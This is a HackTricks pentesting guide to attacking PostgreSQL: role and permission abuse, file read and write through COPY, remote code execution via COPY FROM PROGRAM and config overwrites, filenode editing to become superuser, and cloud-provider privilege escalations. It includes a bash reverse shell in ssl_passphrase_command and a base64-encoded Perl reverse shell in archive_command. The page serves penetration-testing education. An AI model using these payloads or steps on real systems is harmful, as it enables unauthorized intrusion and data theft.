5432,5433 - Pentesting Postgresql
Last updated
Last updated
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
PostgreSQL is described as an object-relational database system that is open source. This system not only utilizes the SQL language but also enhances it with additional features. Its capabilities allow it to handle a wide range of data types and operations, making it a versatile choice for developers and organizations.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
If running \list you find a database called rdsadmin you know you are inside an AWS postgresql database.
For more information about how to abuse a PostgreSQL database check:
PostgreSQL injectionAccording to this research, when a connection attempt fails, dblink throws an sqlclient_unable_to_establish_sqlconnection exception including an explanation of the error. Examples of these details are listed below.
Host is down
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Port is closed
Port is open
or
Port is open or filtered
In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
| Role Types | |
|---|---|
rolsuper | Role has superuser privileges |
rolinherit | Role automatically inherits privileges of roles it is a member of |
rolcreaterole | Role can create more roles |
rolcreatedb | Role can create databases |
rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
rolpassword | Not the password (always reads as |
rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
rolbypassrls | Role bypasses every row-level security policy, see Section 5.8 for more information. |
rolconfig | Role-specific defaults for run-time configuration variables |
oid | ID of role |
If you are a member of pg_execute_server_program you can execute programs
If you are a member of pg_read_server_files you can read files
If you are a member of pg_write_server_files you can write files
Note that in Postgres a user, a group and a role is the same. It just depend on how you use it and if you allow it to login.
From this commit members of the defined DEFAULT_ROLE_READ_SERVER_FILES group (called pg_read_server_files) and super users can use the COPY method on any path (check out convert_and_check_filename in genfile.c):
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html
Only super users and members of pg_write_server_files can use copy to write files.
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.
However, there are other techniques to upload big binary files:
Big Binary Files Upload (PostgreSQL)Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by overwriting the associated file node in the PostgreSQL data directory. More on this technique here.
Required steps:
Obtain the PostgreSQL data directory
Note: If you are unable to retrieve the current data directory path from settings, you can query the major PostgreSQL version through the SELECT version() query and try to brute-force the path. Common data directory paths on Unix installations of PostgreSQL are /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. A common cluster name is main.
Obtain a relative path to the filenode, associated with the target table
This query should return something like base/3/1337. The full path on disk will be $DATA_DIRECTORY/base/3/1337, i.e. /var/lib/postgresql/13/main/base/3/1337.
Download the filenode through the lo_* functions
Get the datatype, associated with the target table
Use the PostgreSQL Filenode Editor to edit the filenode; set all rol* boolean flags to 1 for full permissions.
Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk
(Optionally) Clear the in-memory table cache by running an expensive SQL query
You should now see updated table values in the PostgreSQL.
You can also become a superadmin by editing the pg_authid table. See the following section.
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
Example to exec:
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL ExtensionsThe following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.
More information about this technique here.
The configuration file have some interesting attributes that can lead to RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database
ssl_passphrase_command = '' If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.
ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.
Then, an attacker will need to:
Dump private key from the server
Encrypt downloaded private key:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Overwrite
Dump the current postgresql configuration
Overwrite the configuration with the mentioned attributes configuration:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Execute pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.
More information about this config and about WAL here.
Another attribute in the configuration file that is exploitable is archive_command.
For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
Check whether archive mode is enabled: SELECT current_setting('archive_mode')
Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Reload the config: SELECT pg_reload_conf()
Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions
More information about this technique here.
This attack vector takes advantage of the following configuration variables:
session_preload_libraries -- libraries that will be loaded by the PostgreSQL server at the client connection.
dynamic_library_path -- list of directories where the PostgreSQL server will search for the libraries.
We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.
The attack steps are:
Download the original postgresql.conf
Include the /tmp/ directory in the dynamic_library_path value, e.g. dynamic_library_path = '/tmp:$libdir'
Include the malicious library name in the session_preload_libraries value, e.g. session_preload_libraries = 'payload.so'
Check major PostgreSQL version via the SELECT version() query
Compile the malicious library code with the correct PostgreSQL dev package Sample code:
Compiling the code:
Upload the malicious postgresql.conf, created in steps 2-3, and overwrite the original one
Upload the payload.so from step 5 to the /tmp directory
Reload the server configuration by restarting the server or invoking the SELECT pg_reload_conf() query
At the next DB connection, you will receive the reverse shell connection.
According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
Users with this role can also change the passwords of other non-superusers:
It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:
This is usually possible because of the following lines in the pg_hba.conf file:
In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:
Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
Start by creating a new table.
Insert some irrelevant content into the table to provide data for the index function.
Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
In PostgreSQL, this flow looks something like this:
Then, the shell_commands_results table will contain the output of the executed code:
Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:
Note that for the previous query to work the function dblink needs to exist. If it doesn't you could try to create it with
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
It's possible to check if this function exists with:
In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:
As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.
In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.
And then execute commands:
PL/pgSQL is a fully featured programming language that offers greater procedural control compared to SQL. It enables the use of loops and other control structures to enhance program logic. In addition, SQL statements and triggers have the capability to invoke functions that are created using the PL/pgSQL language. This integration allows for a more comprehensive and versatile approach to database programming and automation. You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.
PL/pgSQL Password BruteforceThe following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal pg_authid table.
Read more about this technique here.
The attack steps are:
Obtain the PostgreSQL data directory
Obtain a relative path to the filenode, associated with the pg_authid table
Download the filenode through the lo_* functions
Get the datatype, associated with the pg_authid table
Use the PostgreSQL Filenode Editor to edit the filenode; set all rol* boolean flags to 1 for full permissions.
Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk
(Optionally) Clear the in-memory table cache by running an expensive SQL query
You should now have the privileges of a full superadmin.
Inside the postgresql.conf file you can enable postgresql logs changing:
Then, restart the service.
pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
Client authentication in PostgreSQL is managed through a configuration file called pg_hba.conf. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.
The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
